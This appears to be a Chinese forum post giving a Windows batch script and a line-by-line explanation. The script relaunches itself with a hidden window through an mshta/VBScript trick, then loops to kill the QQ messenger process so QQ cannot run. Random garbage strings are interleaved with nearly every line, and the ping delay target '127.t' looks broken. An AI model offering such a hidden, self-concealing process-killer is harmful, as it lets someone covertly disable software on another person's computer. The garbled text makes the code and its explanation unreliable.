|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
: d4 t: m5 W- s新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
2 c; {% ^3 d% q. X( x* T$ N/ f9 m. G* G( _2 ^- C4 H
@echo off
( I% _& F7 Z. h% n9 g8 @if "%1" == "h" goto begin ' ^! c! _. _' q
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit / j5 `# d2 I+ A5 w& y
:begin . V1 b2 d; R, W% R' V' ^( b8 s/ E
tasklist |find /i "QQ.exe" ( M0 p% ~5 t5 m# _
if %errorlevel%==0 (goto killit) else (goto next) + U1 H! F/ ~$ {* K7 H- n
:killit - s4 H) b1 y4 Z0 j8 V; Q- F
taskkill /f /im QQ.exe
( n' U4 @2 `( L6 e7 o:next * I( E, }% ^6 p( Z
ping -n 3 127.t >nul 2>nul Z, e( W7 H0 B
goto begin # O+ h2 Y5 c9 d; _ V) U
9 q& E8 E+ P |# \- G代码到此为止
/ L, ^0 I+ j5 J Z6 J; N, b+ F( L+ W" W, i* h讲解如下:
4 i" S3 l7 m2 L q* ]7 M@echo off ------关闭回显
4 `. N9 P' G$ K* k% hif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 : m& |# g! g; F! {. k; S
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
+ ]) G" v1 x' \% t) J:begin ------------定一段名begin
( O) M# g! R4 {! V3 Ntasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe 2 v$ P5 C0 q( B. Q1 v8 D4 E
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next . e/ ^. K' _3 Z; q, Z! P: {
:killit
3 T g3 j- ]/ A9 s/ G2 Wtaskkill /f /im QQ.exe----终结进程QQ.exe
+ v( i) j" ~7 {/ m/ f+ f9 I:next / Z' G7 R* B% R. r
ping -n 3 127.t >nul 2>nul -----延迟一段时间 7 W3 q6 u% f3 l6 h% \
goto begin--------------返回执行begin
1 C/ m7 k. e1 s8 H* K- r# b" u5 P2 Q |
|